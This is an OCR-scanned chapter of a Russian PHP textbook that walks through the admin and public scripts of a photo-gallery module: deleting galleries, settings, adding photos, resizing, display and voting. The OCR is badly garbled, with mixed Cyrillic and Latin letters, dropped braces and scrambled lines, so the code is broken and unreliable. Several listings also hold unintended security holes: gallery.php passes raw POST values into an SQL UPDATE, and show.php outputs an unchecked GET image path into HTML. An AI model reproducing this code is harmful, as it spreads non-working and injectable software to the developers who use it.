862 ЛИСТИНГ 20.5 . Удаление галереи, catdel.php <?php // Устанавливаем соединение с базой данных require_once ("../ ../config/config .php ") ; // Подключаем блок авторизаци и require_once ("../utils/securityyod .php ") ; // Подключаем SoftTime FrameWork Часть 11. Создание сайта require_once ("../ ../config/class.config . drn n .php") ; // Защита от SQL-инъекци и $_GET ['id_catalog '] intval ( $_GET ['i d catalog' ]); try // Извлекаем все изображения, принадлежащие п озици и , и удаляем их $query = "SELECT * FROM $tbl_photoyos ition WНERE id_catalog=$_GET [id_ catalog ]"; $img = mysql_query ($query) ; Н(!$img ) { throw new ЕхсерtiопМуSQL (mуsql_еrrоr () , $query, "Ошибка при извлечении параметров изображения" ) ; whi le ($image = mys ql_fetch_a rray ($img) ) { if (file_exists ("../ ../" . $image [ 'big ' ])) @unlink ("../ ../" . $iтage [ 'big ' ]); if (fi le_exists ("../ ../" . $iтage [ 'sтall '])) @unlink ("../ ../" . $image[ 'sтall' ] ) ; // Формируем и выполняем SQL-запрос на удаление изображений $query = "DELETE FROM $tblyhotoyosition
Гла ва 20. Фотогалерея ?> WНERE id_catalog=$_GET [id_c atalog] "; if( !mysql_query ($query) ) ( throw new Excepti onМySQL (mysql_error () , $query, "Ошибка ПрИ удалении позиции" ) ; // Формируем И выполняем SQL-запрос на удаление ка талога $query = "DELETE FROM $tblyhoto_catalog WНERE id_catalog=$_GET [id_cat alog] LIMIT 1"; if( !mys ql_query ($query) ) ( throw new Excepti onМySQL (mysql_error () , $query, "Ошибка ПрИ удалении каталога ") ; // осуществляем редирект на главную страницу администрирования header ("L ocation : index .php" ) ; catch ( Excepti onМySQL $ехс ) require ("../utils/exception_my s ql .php ") ; 8БЗ При удалении галереи первоначально из табл ицы system_ photo_pos ition ( $tbl_photo_pos ition) извлекаются записи, принадл ежащие удаляемому ка­ та логу. Это необходимо, чтобы удалить принадлежащие дан ной гал ереи фо­ то графии. Перед удалением при помощи функции un link () существование каждого файла проверяется функцией file_e xists (). После того как фотографии удалены с жесткого диска, уничтожаются записи, связанные с галереей. Для этого осуществляются два DЕLЕТЕ-запроса, кото­ рые удаляют записи из табл иц system_photo_pos ition ($tbl_photo_p o sition) и system_p hoto_catalog ( $tb l_photo_catalog) .
864 Часть 11. Создание са йта Из рис . 20. 1 видно, что помимо ссылок для управления галереями перед таб­ лицей расположена ссылка Настройки, которая ведет на стран ицу управле­ ния параметрами фотогалереи (рис. 20.2). рШК НОRОСП' Галерея Блок гспосования Пользователи j;зйта Высота ": Фото в ряду ': Шl!pИна уменьшеftной .ко" " " l,зображеft.tЯ (от 50 до 300 flИ8селей) I}��..... .. Выста уШ!ныпенной КО!1I1И .1З00 00 жmтя 10. 50 до ЗDО ПlIкселей) t�. ..... .. ..1 КОffifЧ€CТБО фоrorраф.,.i в рядУ (от 1 до 1 О Шi'fК) Сохранить Рис. 20.2 . Стра ница, позволяющая управлять параметрами фотогалереи Скрипт settil1gs.pl1p, ответственный за формирование страницы управления настройками (рис. 20.2), представлен в листинге 20.6 . Листинг 20.6 . Управление на стройками фотогалереи, setti ngs.php <?php // Устанавливаем соединение с базой данных requi re_once (" ../ ../config/config . php" ) ; // Подключаем блок авторизации require_once (" ../utils /security_rnod .php" ) ; // Подключаем классы формы require_once (" ../ ../COn fig/class . config . drn n . php") ; try $_GET ['id_catalog '] if (ernpty ($_POST )) intval ( $_GET ['id_catalog ']) ;
Глава 20. Фотогалерея $query "SELECT * FROM $tb l_photo_s ettings LIMIT 1"; $set = mys q l_que ry ($query ); if (!$set ) throw new Excepti onМySQL (mysql_e rror () , $quef:y, "Ошибка при обращении к каталогу" ) ; $_REQUEST $width $height $row new field_t ext_int ("width" , "lIlиpина " , true , $_REQUE ST ['width' ], 50, 300, 10, 10, "", "Ширина уменьшенной копии изображения (от 50 до 300 пикселов) ") ; new field_t ext_int ("height", "Высота" , true , $_REQUEST ['height' ], 50, 300, 10, 10, "", "Высота умень шенной копии изображения (от 50 до 300 пикселов) ") ; new field_text_int ("row" , "Фото в ряду" , 865
866 true , $_REQUEST ['row ' ], 1, 10, 3, 10, '1 1' , Часть 1/. Создание сайта "Количество фотографий в ряду (от 1 до 10 штук ) ") ; $fo= = new fo= ( array ( "width" => $width, "height " => $height , "row" => $row) , "Сохранить " , "field" ); // Обработчик НТМL-формы if( !ernpty ($_POST) ) // Проверяем корректность заполнения НТМL-формы // и обрабатываем текстовые поля $error = $fo=->check () ; if (ernpty ($error) ) // Формируем SQL-запрос на добавление каталога $query = "UPDATE $tblyhoto_s ettings SET width = '($fo=->fields [width] ->value }', height = '{$forrn->fields [height ] ->value} ', row = '{$fo=->fields [row ] ->value } '''; if ( !rnysql_query ($query ) ) throw new Excepti onМySQL (rnysql_error () , $query, "Ошибка при редактировании галереи ") ; // Осуще ствляем редирект на главную страницу администрирования header ("Location : index . php" ) ; exit () i
Глава 20. Фотогалерея ?> // Начало страницы $title 'Настройки фотогалереи '; $pageinfo = '<р сlаss=hе lр>Зде сь можно установить </р>' ; // Включаем заголовок страницы require_once (" ../utils /top .php" ) ; echo "<р><а href= # onClick= ' history . back () '>Назад</ а></р> " ; // Выводим сообщения об ошибках , если они имеются Н( !empty ($e rror) ) foreach ($error as $err) echo "<span style=\"color :red\ ">$err</sp an><br> "; // Выводим НТМL-форму $forrn->print_forrn () ; catch ( Excepti onObj ect $ехс ) require ("../utils/exception_obj ect .php ") ; catch ( ExceptionМySQL $ ехс ) require ("../utils / exception_rnys ql . php " ) ; catch ( ExceptionМernber $ехс ) require ("../utils /exception_rnernbe r.php ") ; // Включаем завершение страницы require_once ("../utils /bottorn.php") ; 867 Скрипт формирует НТМL-форму, состоящую из трех текстовых полей: width, height И row, В которые подставляются значения из одноименных по­ лей табл ицы systern_pho to_ settings ( $tb l_photo_s ettings) .
868 Часть 1/. Создание сайта На глав ной странице index.php каждая из гал ерей является гиперссылкой, пе­ реход по которой приводит К стран ице управления фотограф иями (рис. 20.3). ВQПРОСЫ 1-1 Ответы ГОL-тевая книга Блок новости Блок ТОЛОС09а"I-IЯ ПQ льз g .. жitш:! сайта Изображение ОШlCaI01е ПОЗо Деi iс пUlЯ Назван1<е : Мост ALT·Ter. Мост НаэваЮlе : Набережная ALT·Ter. Набережная Вверх CKDblr. УдаНI-IТЬ Редактирос ать Вниз f}.�JШ� Скрыт!' 2 �; 1 апи.Th Редактиро еать ];!Ш:!.:! Рис. 20.3 . Страница управления фото графиями, photos.php Страница управления фотограф иями традиционно строится как HTML­ табл ица, каждой фотограф ии в которой отводится отдел ьная строка. Табл ица содержит малое изображение, щел чок мышью по которому откр ывает увел и­ ченное изображение; описание изображения (название и содержи мое ALT­ тега); позицию фотографии относител ьно остал ьных фотограф ий и блок управляющих ссылок. ЗАМЕЧАНИЕ Текст из ALT-Tera В Ы ВОД ИТСЯ под изображением и доступен для просмотра, когда у посетителя откл ючена загрузка изображений. в листинге 20.7 приводится содержимое страницы pllOtos.php, на которой при помощи кл асса pager_my sql (см . главу 7) постран ично выводится содер­ жимое текущей галереи (те кущей галереей считается галерея, чей первичный кл юч передан в качестве GЕТ-параметра id_catalog) .
Гл ава 20. Фотогалерея листинг 20.7 . Упра вление фотографиями, photos .php <?php / / Устанавливаем соединение с базой данных requi re_once (" . . / ../config/config .php ") ; // Подключаем бл ок авторизации require_once (" ../uti1s/ security_m od .php" ) ; // Подкmочаем SoftTime FrameWo rk require_once (" ../ ../config/c1ass . config . dmn.php ") ; / / Навигационное меню require_once (" ../uti1s /u ti1s . navi gat ion .php ") ; // Подключаем блок отображения текста в окне браузера requi re_once (" ../utils /uti1s . print_page .php ") ; $tit1e = $tit1epage = 'Галерея '; $pageinfo = '<р с1аss=hе1р>Зде сь осуществляется управление галереями сайта</р> '; // Включаем заголовок страницы require_once (" ../uti 1s/top .php ") ; intva1 ( $_GET ['id_cata1og ']) ; try // Количе ство ссылок в постраничной навиг ации $page_l ink = 3; // Количество позиций на странице $pnumbe r = 10; // Объявляем объект постраничной навигации $obj = new pager_mys q1 ($tbl_photo_position, "WНERE id_cata1og "ORDER ВУ роз", $pnumbe r, $page_l ink, $_GET [id cata1og] ", "&id_cata1og=$_GET [id cata1og] ") ; echo "<а c1ass=menu href=phtadd .php ?id_c ata1og=$_GET [id_c ata1og] &" . "раgе=$_GЕТ [раgе ] >Добавить позицию</а><Ьr><Ьr> "; 869
870 Часть 11. Создание сайта // Получаем записи базы данных в виде ма ссива $photo = $obj ->get-page (} ; // Если име ется хотя бы одна запись - выводим ее if ( ! empty ($photo) } { ?> <table width="100%" class="table" borde r="O" cel lpadding= "O" cellspacing="O"> <tr class="header" align= "center"> <td>Изображение </td> <td>Описание</ td> <td width=2 0 аlign=сепtеr>Поз .</td> <td>Действия< / td> </tr> <?php for ($i = О; $i < count ($photo }; $i++ } / / Формируем URL для управляющих ссылок $url = "?id_p osition= { $photo [$i] [ id-position] } ". "&id_catalog=$_GET [id_catalog]&". "page=$_GET [page] "; // Выясняем, скрыта фотография или нет $colorrow = '' '' ; if ($photo [ $i] ['h ide'] == "hide") $sh owhide $colorrow else "<а hrе f=рht shоw . рhр$url>Отобразить </а>" ; "class= ' hiddenrow ', " ; $showhide = "<а hrеf=рhthidе .рhр $url>Скрыть</а>"; $size = @getimagesize ("../ . ./" . $photo [$i] [ 'big ' ]}; // Выводим позицию echo "<tr $colorrow >
Глава 20. Фотогалерея 871 ?> <td align= center> <а href=# onclick=\"show_img ('($photo [$i] [idyo sition] }',". $size [O] .",".$size [l] ."); return fa lse \"> <img src= ../ ../ {$photo [ $i] [srnall] } border=l style=\ "border-соlоr :#ОООООО\" vsрасе=З></а> </td> <td vа ligп=tор>Название : {$photo [$i] [пате] }<br> ALТ -тег : { $photo [$i] [alt ] } </td> <td align=center> { $photo [$i] [pos ] } </td> <td align=center> <а hre f=phtup .php $url>BBepx</a><br> $showhide<br> <а hre f=# onCl ick=\"delete_p osition ( 'phtdel . php$url ',". "'Вы действительно хотите удалить позицию? ');\ ">Удалить </а><Ьr> <а href=phtedit . php$url titlе= ' Редактировать позицию '>Редактир овать</а><Ьr> <а hrе f=рhtdоwn .рhр $url>Вниз</а> </td> </tr>" ; echo "</table><br> "; echo $obj ; catch ( ExceptionМySQL $ехс ) require (" ../utils/exception_my sql .php ") ; / / Вк:лючаем завершение страницы requi re_once ("../utils/bottom. php" ) ; <script language= ' JavaScriptl .l' type= 'text/javascript '> < 1-- function show_img (idyosition, width, he ight )
872 var а; var Ь; var url ; vidWindowWidth=width ; vidWindowHe ight=height ; а = (sсrееп . hе ight-vidWiПdоwНе ight )/5; Ь = (sсrееп .width-vidWiпdоwWidth )/2; features = "top=" + а + ",left=" + Ь + ",width= " + vidWindowWidth + Часть 11. Создание сайта ", height= " + vidWindowHeight + ", toolbar=no , menubar=no ,location=no , " + "directories=no, s crollbars=no ,resizable=no "; url = " ../ . ./show . php?idyosition= " + id_po sition; window. ореп(url, " , features, true) ; //--> </script> Помимо традиционного JаvаSсгiрt-скрипта de lete_position (), предназ на­ ченного для контрольного вопроса перед удалением позиции при ПОМОIЦи скрипта plltdel.php, в листинге 20. '7 можно обнаружить скрипт show_img ( ) , который выводит увеличенное изображение при ПОМОIЦи файла show.pllp, содержимое которого представлено в листинге 20.8 . ЗА МЕЧАНИЕ Следует отметить , что скрипту передаются ширина и высота увеличенного изображения, кото рые извлекаются при помощи функции getimag esize (). Листинг 20.8. ВЫВОД увеличенного изображения, show.php <?php // Устанавливаем соединение с базой данных requi re_once ("c onfig/config .php" ) ; // Пр едотвращаем SQL-инъекцию $_GET ['idyosition '] = intval ( $_GET ['id_position' ]); // Извлекаем параметры изображения if (!empt y($_GET ['id_position' ]))
Глава 20. Фотогалерея ?> // Извлекаем параметры изображения $query = "SELECT * FROM $tbl_photo_position WНERE id� osition = $_GET [id� osition] AND hide = 'show ' LIMIT 1"; $irng = rnys ql_que ry ($query) ; if ( !$irng ) ехit ("Ошибка извлечения изображения ") ; if (rnуsql_пuш_rоws ($irng) ) $irnage = rny sql_fetch_a rray ($irng) ; $fi lenarne = $irnage ['big' ]; // Увеличиваем количество просмотров // изображения $query = "UPDATE $tb l_photo_position SET countwatch = соцпtwаtсh + 1 WHERE id_posit ion @rnysql_query ($query) ; else if (!ernpty ( $_GET['irng ' ])) // Просмотр из системы администрирования // без учета в базе данных $filenarne = $_GET['irng' ]; else ехН(); list ( $width, $height ) @getirnagesize ($filenarne) ; <htrnl > <head> <titlе>ИЗОбражение </titlе> <rne ta http- equiv=" irnagetoolbar" content="no"> <style> 873
874 Часть 11. Создание сайта table { font-size : 12рх; font-farni1y : Arial , Helvetica, san s-serif; back­ ground-color : #FЗFЗFЗ; } </style> </head> <body rnarginheight= "O" rnarginwidth="O" rightrnargin="O" bottornmargin="O" leftrnargin="O" toprnargin="O"> <table height="100%" cel lpadding= "O" cellspacing="O" width="100%" bor­ der="l"> <tr> <td height="100%" va lign= "rniddl e" align="center"> Пожалуйста , дождитесь загруз ки изображения <div style="position : absolute ; tQP : Орх ; left : Орх " </td> </tr> </table> ><irng src="<? echo $filenarne; ?>" borde r="O" width= "<?= $width ?>" height= "<?= $height ?>" ></div> <div style= "position : ab solute ; z-index : 2; width : 100% ; bottorn: 5рх " align= "center"> <input class=button type= "subrni t" vаluе= "Зак:рыть " оп­ cl ick="window.close () ; "></div> </body> </htrnl > Следует отметить, что вызов скрипта show.php с GЕТ-параметром id_position приводит к извлечению из таблицы systern_photo_pos ition ( $tbl_photo_pos ition ) параметров изображения и увеличивает поле countwatch (количество просмотров) на единицу. Причем, если вместо пер­ вичного ключа в GЕТ-параметре irng скрипту show.pilp передается путь к изображению - оно выводится без дополнительного обращения к базе дан ных. Добавление позиции осуществляется при помощи НТМL-формы p11tadd.p11p, внешний вид которой представлен на рис. 20.4. НТМL-форма содержит пять текстовых полей : для названия изображения, содержимого ALТ-тега, количества проголосовавших за изображение, обще­ го кол ичества голосов и количество просмотров. Кроме этого, НТМL-форма содержит поле типа file для загрузки увеличенной версии изображен ия (уменьшенная версия генерируется автоматически с использованием пара­ метров из табл ицы $tb l_photo_s ettings) .
Глава 20. Фотогалерея 875 BongoCbl и Oreerbl AlT-тег. I:.Q.Qе вая "н иrа Изо о ражение: Бл ок НОБОcrи Количеcrвo Галерея пporолосовавших: Количecrво rOnOCOB; r;nQK rооо соаания Пользователи Количecrво сайrа ПРОСМОТРО.В: ОrоБРaJlt8Th: R Добавит ь Рис. 20.4 . Добавление новой фотографии. phtadd . php в листинге 20.9 приводится содержимое файла pl1tadd.php, который форми­ рует НТМL-форму и добавляет в табл ицу system photo pos ition ($tbl_photo_position) новую запись, соответствующую новой фотограф ии. Листи нг 20.9 . Добавление фотографии, phtadd.php <?php // Устанавливаем соединение с базой данных require_once (" ../ ../config/config .php" ) ; // Подключаем блок автори заци и require_once (". ./utils/security_mod .php ") ; // Подключаем классы формы require_once ("../ ../config/class .config .dmn.php ") ; // Подключаем функцию изменения размера изображения require_once ("../ ut ils / utils . resizeimg .php ") ; // Защита от SQL-инъекции $_GET ['id_catalog '] intval ( $_GET ['i d catalog' ]); if (emp ty ( $_POST )) $_REQUEST ['hide' ] try true ;
876 $пате $alt $big new field_t ext ("naтe", "Название " , false, $_POST[,пате']); new field_t ext ("alt", "ALТ-тег" , fal se, $_POST[,alt']); new field_f ile ("big" , "Изображение " , false, $_FILES , Часть 11. Создание сайта $pollnurnber " ../ . ./files/photo/ ") ; new field_text_int ("pollnurnber" , $pollma rk "К-во про голосовавших " , false, $_POST ['pollnurnber ']); new field text_int ("pollma rk" , "К-во голосов ", false, $_POST ['pol lma rk ']); $countwatch new field text_int ("countwatch" , $hide "К-во просмотров " , fal se, $_POST ['countwatch' ]); new field_checkbox ( "hide " , "Отображать ", $id_c atalog $_REQUE ST ['hide'] ); new field_hidden_int ("id_c atalog", true , $page $form $_REQUE ST ['id_catalog ']); new field hidden_int ("page" , new form (array ( "пате" "alt " "big" fal se, $_REQUE ST ['p age']); => $пате, = > $alt, = > $big,
Глава 20. Фотогалерея "pollnurnbe r" "pollrnark" "countwatch" "hide " "id_c atalog" "page " "Добавить ", "field" ); // Обработчик НТМL-формы if (!empty ($_POST ) ) => $pollnurnbe r, => $pollrnark; => $countwatch, => $hide , => $id_c atalog, => $page) , // Проверяем корректность заполнения НТМL- формы // и обрабатываем текстовые поля $error = $form->check () ; if (empty ( $error) ) // Извлекаем текущую максимальную позицию $query = "SELECT МAX (pos ) FROM $tbl_photoyos ition 877 WHERE id_catalog= {$form- >fields ['id_catalog ']- >va lue }"; $pos = mysql_query ($query) ; if (!$pos ) throw new Except i onМySQL (mys ql_error () , $query, "Ошибка при извлечении текущей позиции") ; $pos = mys ql_result ($pos , О) + 1; // Выясняем, скрыта или открыта позиция if ($form->fields ['h ide']- >va lue } $showhide else $showhide = "hide"; // Изображения $var = $form->fields ['big' ] ->get_filename (} ; if( ! empty($var) ) $big = "files/photo/" . $var; $srnall "files/photo/s_" .$va r; "show" ;
878 Часть 11. Создание сайmа else $big = ""; // Извлекаем параметры галереи $query = "SELECT * FROM $tbl_photo_s ettings LIMIT 1"; $set = mys q1_que ry ( $query) ; if( !$set) throw new Excepti onМySQL (mys ql_e rror () , $query, "Ошибка при из влечении параметров галереи" ) ; if (mysql_num rows ($set ) ) $settings = mysql_fetch_a rray ($set) ; else $settings ['w idth' ] = 150 ; $settings ['height'] = 133; // Формируем уменьшенное изображение res izeimg ($big, $small , $settings ['width' ], $settings ['height ' ]); // Формируем SQL-запрос на добавление позиции $query = "INSERT INTO .$tb l_ph oto_position VALUES (NULL, ' { $form->fields [name ] ->value} ', '{$form->fields [alt ] ->value} ', '$small' , '$big ' , '!$form->fields [pollnumbe r] ->value )', ' { $form->fields [pollma rk ]->value }', '!$form->fields [ countwatch] ->va lue }', '$showhide ', $pos , ! $form->fields [id_catalog ] ->value })"; if ( !mysql_que ry ($query) ) {
Глава 20. Фотогалерея throw new Excepti onМySQL (mysql_e rror () , $query, "Ошибка при добавлении позиции" ) ; // Осуществляем редирект на главную страницу header ( "Location : photos .php ? ". "id_c atalog= {$form->fields [ id_catalog] ->value }&". "page= { $form->fields [page] ->value } ") ; exit () ; } // Начало страницы $title 'Добавление изображения '; $pageinfo = '<р clas s=he lp></p> '; // Включаем заголовок страницы require_once (" ../utils /top.php"} ; echo "<р><а href=# onClick='history .back () '>Назад< /а></р> "; // Выводим сообщения об ошибках , если они имеются if ( !empty ($error) ) foreach ($error as $err} echo "<span style=\ "color :red\ ">$err</span><br> "; } // Выводим НТМL-форму $form->print_form () ; catch ( ExceptionObj ect $ехс ) rеquirе ("../ ut ils/ехсерtiоп_оЬj есt . рhр ") ; catch ( ExceptionМySQL $ехс ) rеquirе (" ../utils/ехсерtiоп_m уsql . рhр " ); 879
880 ?> catch ( Except ionМernbe r $ехс ) require (" ../utils/exception_membe r.php ") ; // Включаем завершение страницы requi re_once (" ../utils/bottom.php ") ; Часть 1/. Создание са йmа Дл я создания уменьшенной ко пии изображения используется функция res izeimg (), расположенная в файле dmп/utils/utils.геsizеimg.рi1р и имеющая следующий синтаксис: res izeimg ($big, $smal l, $width , $height) ; Параметр $big испол ьзуется для указания пути к большому изображен ию, $sma ll - к его уменьшенной версии (в листи нге 20.9 имя малого изображе­ ния формируется из имени большого изображения путем добавления в него префикса "э_"). Параметры $width и $height определяют ширину и высоту уменьшенной копии изображения и извлекаются из таблицы system_photo_s ettings ( $tbl_photo_s ettings) . В листинге 20. 10 приводится содержи мое функции res izeimg (), которая дл я создания уменьшенной копии изображения испол ьзует функции библиоте ки расширения GDLib, более подробно оп исанной в главе 28. ЗА МЕЧА НИЕ Следует отметить , что функция res izeimg () сохраняет масштабирован ие изображения. Листинг 20.10. Функция re sizeimg () для создания уменьшенной копи и изображе н и я <?php funct ion res izeimg ($big, $small , $width , $height ) // имя файла с ма сштабируемым изображением $big = 1 1 ••/ • •/$big" ; // имя файла с уменьшенной копией $small = " ../ ../$small"; // Определяем коэффициент сжатия // генерируемо го изображения
Гла ва 20. Фотогалерея $ratio = $width / $height ; // Получаем размеры исходно го изображения $size_img = getima ges ize ($big) ; list ( $width_s rc , $height_s rc ) = getimages ize ($big ) ; // Если размеры мень ше , то ма сштабирования не нужно if (($width_s rc<$width ) && ($he ight_s rc<$he ight )) сору ($big, $sma ll); return true ; // Получаем коэффициент сжатия исходного изображения $src_rat io=$width_s rc/$height_s rc ; // Вычисляем размеры уме ньшенной копии , чт обы при // ма сштабировании сохранились пропорции исходного изображения if ($ratio<$ s rc_ratio ) $height $width/$src ratio ; else $width $height * $src_ratio; // Создаем пустое изображение по заданным размерам $dest_img = imagecreatetruecolor ($w idth , $height) ; $white = imagecolorallocate ($dest_img , 255, 255, 255 ) ; if ($size_img [2] ==2 ) $src_img = image createfromj peg ($big) ; else if ($size_img [2]==1 ) $src_img image createfromg i f($big ) ; else if ($sizе_img [2]==З ) $src_img imagecreatefrompng ($big ) ; // Масштабируем изображение функцией imagecopyresampled () // $dest_img - умень шенная копия // $src_img - исходное изображение // $width - ширина уменьшенной копии // $height - высота уме ньшенной копии // $size_img [O] - ширина исходного изображения // $size_img [l] - высота исходного изображения imagecopyresampled ($dest_img , 881
882 ?> $src_img , О, О, О, О, $width , $height , $width_s rc , $height_s rc ) ; // Сохраняем умень шенную копию в файл Часть /1. Создание са йта if ($size_img [2]==2 ) imagej peg ($dest_img , $sma ll ); else if ($size_img [2] ==1 ) imagegif($dest_img , $sma ll) ; else if ($size_img [2]==3 ) imagepng ($de st_img , $sma ll); // Очищаем память от созданных изображений imagedestroy ($dest_img) ; imagedestroy ($src_img) ; return true ; ЗА МЕЧАНИЕ Скрипты phtdel.php, phtedit.php, phthide.php, phtshow.php, phtdown .php и phtup.php, OTBeTCTBeHHble за удаление, редактирование, сокрытие, отобра­ жение, изменение позиции, в книге рассматриваться не будут, так как ана­ логичные по функциональности скрипты рассматривались ранее и их реа­ лизация не представляет затруднений. Их можно найти на прилагаемом к книге компакт-диске. 20. 3 . С исте ма предста вления Система представления состоит из одного файла gal lery.p11p и рассмотренно ­ го ранее файла slюw .рhр (см. листинг 20.8), ответственного за вывод увели­ ченной версии изображения. В отличие от системы ад министрирования, фотографии в системе представ­ ления выводятся в виде табл ицы с количеством колонок, определяемым по­ лем row таблицы настроек system_photo_s ettings ( $tb l_photo_sett ings ) .
Глава 20. Фотогалерея 883 Кроме этого, потребуется отредактировать файл templates/top.php, дл я того чтобы добавить в него блок с названиями фотогалерей и кол ичеством фото­ граф ий в них (листинг 20.11). ЛИСТИНГ 20.11. Фрагмент файла templatesltop.php <?php / / Выводим список фотогалерей $query = "SELECT * FROM $tblyhoto_catalog WНERE hide = 'show'''; $ cat = my sql_que ry ($query) ; Н( !$cat ) throw new Excepti onМySQL (mysql_e rror () , $query, "Ошибка при извлечени и фотогалерей" ); if (mysql_num_rows ($cat ) > 1) while ( $catalog_photo = my sql_fetch_a rray ($cat) ) ( // Извлекаем количество фотографий в галерее $que ry = "SELECT СОИNТ (*) FROM $tblyhoto_position WHERE id_catalog = $catalogyhoto [ id_catalog ] AND hide = 'show' ''; $cnt = my sql_que ry ($query) ; if (!$cnt ) throw new Excepti onМySQL (mysql_e rror () , $query, "Ошибка при извлечени и количества фотографий" ) ; $total = my sql_re sult ( $cnt , О) ; if ( $total > О) $total = "&nbзр; ($total) "; else $total = "" . ,
884 Часть 11. Создание сайта echo "<Ь><а href=gallery . php?id_c atalog=$ catalog_photo [id_c atalog ] class=\ "rightpane l_lnk\">" . "{$c atalogyhot o[name ] } $total</a></b><br><br> "; ?> Как ВИДНО из листинга 20.1 1, из таблицы system_pho to_catalog ( $tb l_photo_catalog) извлекаются все галереи, которые имеют значение по­ ля hide, равное ' show' . Дл я каждой из галерей в цикле, извлекающем записи из резул ьтирующей таблицы, выпол няется допол нительный запрос к таблице фотограф ий system_photo_pos ition ( $tbl_p hoto_p o sition) , который в о з­ вращает кол ичество фотограф ий в каждой из них. В резул ьтате вы водится блок "Фото графии", который можно видеть на рис. 20.5 в правой колонке. ОРАЗnЕЛЫ о КдТАЛог ._- ---- ---- Hp«НrtCt<MplfI IlМ о на8асти ---_._ ---- - - 21:.06.2007 I ОЦa8Ю:lDАЦ4fОС НОIЮCТ� со о6щ � е. О�!4U!ТOf: �е со о6ш eНI�. О�tiOeOCТI '1O еco oбu: �te, •. .� Гро", Рис. 20.5 . Внешний вид фотогалереи · OtJp4,c (I(Ol1bKO ltO!SblX (;ai;f08 &.. Д�CT� Зl1 1 год? ��.Hikr� r н! 5оfbШt' JO c.eiitOf! r T&I( t<!1Cftl, Ч;О �11Cr�' (GN.HiJТb r ЯIJODбl:.l.е � <1е.�IO �iirt.: Каждая из галерей ссылается на файл gal lery.pllp, передавая ему G ET­ параметр id catalog С первичным кл ючом фото галереи . Как видно из рис. 20.5, фотографии выводятся по нескол ько штук В ряд в соответствии с
Глава 20. Фотогалерея 885 п олем row табл ицы systern_photo_s ettings. Над фотографией выводится ее те кущий рейтинг в виде изображения из пяти позиций, под фотографией ­ ее название и небольшая НТМL-форма для гол осования. Изображение рей­ тинга изменяется в зав исимости от количества проголосовавших. Сами фото­ графии представляют собой уменьшенные ко пии, щелчок по которым выво­ дит увел иченную копию изображения в отдельном окне. В листинге 20. 12 пр иводится содержимое файла gal1ery.php. Листинг 20. 12. ВЫВОД га лереи, gallery.php <?рЬр // Инициируем сессию session_s tart () ; // Подключаем SoftTirne FrarneWork requi re_once ("c on fig/class . config . php " ); // Подключаем функцию обработки текста // перед публикацией require_once ( " drn n /utils /utils . printyage . рЬр " ) ; // Устанавливаем соединение с базой данных require_once ("c on fig/config .php" ) ; // Заголовок require_once ("ut ils . title .php ") ; // Голосование funct ion pOll ($idyosition, $user_rating ) // Объявляем название таблицы глобальным global $tbl_photo_pos ition; // Регистрируем изображение , чтобы за // него не голосовали дважды $_SESSION ['useryoll_id '] [] = $idy osition; // Ув еличиваем количество просмотров данного изображения $query = "UPDATE $tbl_photo_pos ition SET pol lnurnber = pol lnurnber + 1, pollrnark = pollrnark + $user_rating WНERE id_position = $idyosition ЫМIT 1";
886 if ( !mysql_query ($query) ) throw new ExceptionМySQL (mysql_e rror (), $que ry, Часть /1. Создание сайта "Ошибка при голосовании за фотографию" ) ; try // Обновляем параметры pollnumber и pollma rk, // соответствующие количеству проголосовавших и // сум м арной оценке (которая потом делит ся на количество // проголосовавших ) if (is_a rray ( $_SESSION ['user-роll_i d' ])) { poll ( $_POST ['id-роsitiоп ' ], $_POST ['user_rat ing ']); else pOll ( $_POST ['id_position ' ], $_POST ['user_rating ']); // Пр едотвращаем SQL-инъекцию $_GET ['id_catalog '] = intval ( $_GET ['id_catalog ']); // Извлекаем название галереи $query = "SELECT * FROM $tbl-photo_catalog WНERE id_catalog = $_GET [id_c atalog]"; $cat = mysql_query($query) ; if(!$cat) throw new Excepti onМySQL (mysql_error () , $que ry, "Ошибка при извлечении галереи ") ;
Глава 20. Фотогалерея $catalog = mysql_fetch_a rray ($ca t} ; II Подключаем шапку $pagename = "Галерея - ".$catalog [ 'пате ' ] ; $keywords = "Галерея" ; require_опсе ( "temp lates I top . php " ) ; II Выв одим заголовок страницы echo title ( $pagename} ; II Извлекаем параметры галереи $query = "SELECT * FROM $tblyhoto_s ettings LIMIT 1"; $set = mysql_que ry ($query} ; if (!$set} throw new ExceptionМySQL (mys ql_error (} , $que ry, "Ошибка при извлечении параметров галереи" } ; II Если в таблице имеется хотя бы одна запись , II получаем количество фотографий в ряду if (mysql_num_rows ($set} } $settings = mysql_fetch_a rray ($set} ; $numpho to $settings ['row ' ]; II Если записи в таблице $tbl_photo_s ettigns II отсут ствуют , выводим по 3 фотографии в ряд else $numphoto = 3; II Выводим фотографии $query = "SELECT * FROM $tblyhoto_po sition WНERE id_catalog = $_GET [id_ca talog ] AND hide = 'show ' ORDER ВУ роз "; $pht = mys ql_query ( $query} ; if (!$pht ) 887
888 throw new Excepti onМySQL (rnys ql_e rror () , $query, "Ошибка извлечения изображений ") ; $tr == О; echo "<div class=\ "rnain_txt\">" ; echo "<table width=100% bo rde r=O>"; wh ile ( $photo = rnysql_fet ch_a rray ($pht) ) $пarnе = $photo ['narne' ]; $alt = $photo ['a l t' ]; // Определяем размеры изображений Часть 11. Создание са йта list ( $width_big, $height_big) = @getirnages ize ( $photo ['big' ] ); list ( $width_srnal l, $height_srnall ) = @getirnages ize ( $photo ['srna ll ']); // Вычисляем рейтинг текущей фотографии $rating = "0 .0"; if (!ernp ty ( $photo ['pollnumber '] )) $rating = floor ( $photo ['po llrnark ']/$photo ['pollnumber '] ); if ( $photo ['pollrnark '] % $photo ['pollnumber '] >= 0.5) $rating += 0.5; $rating sprintf ("%O . Olf" , $rating) ; // Определяем количество просмотров $countwatch = ""; if (!еrnр tу ( $рhоtо ['соuпtwаtсh '] )) $соuпtwаtсh = " ($рhоtо [ соuпtwаtсh] )"; if ($tr О) echo "<tr class=\ "rnain_txt\">" ; echo "<td class= ' gallery_txt ' align= 'center '> <div style= ' padding- top: l0px; '
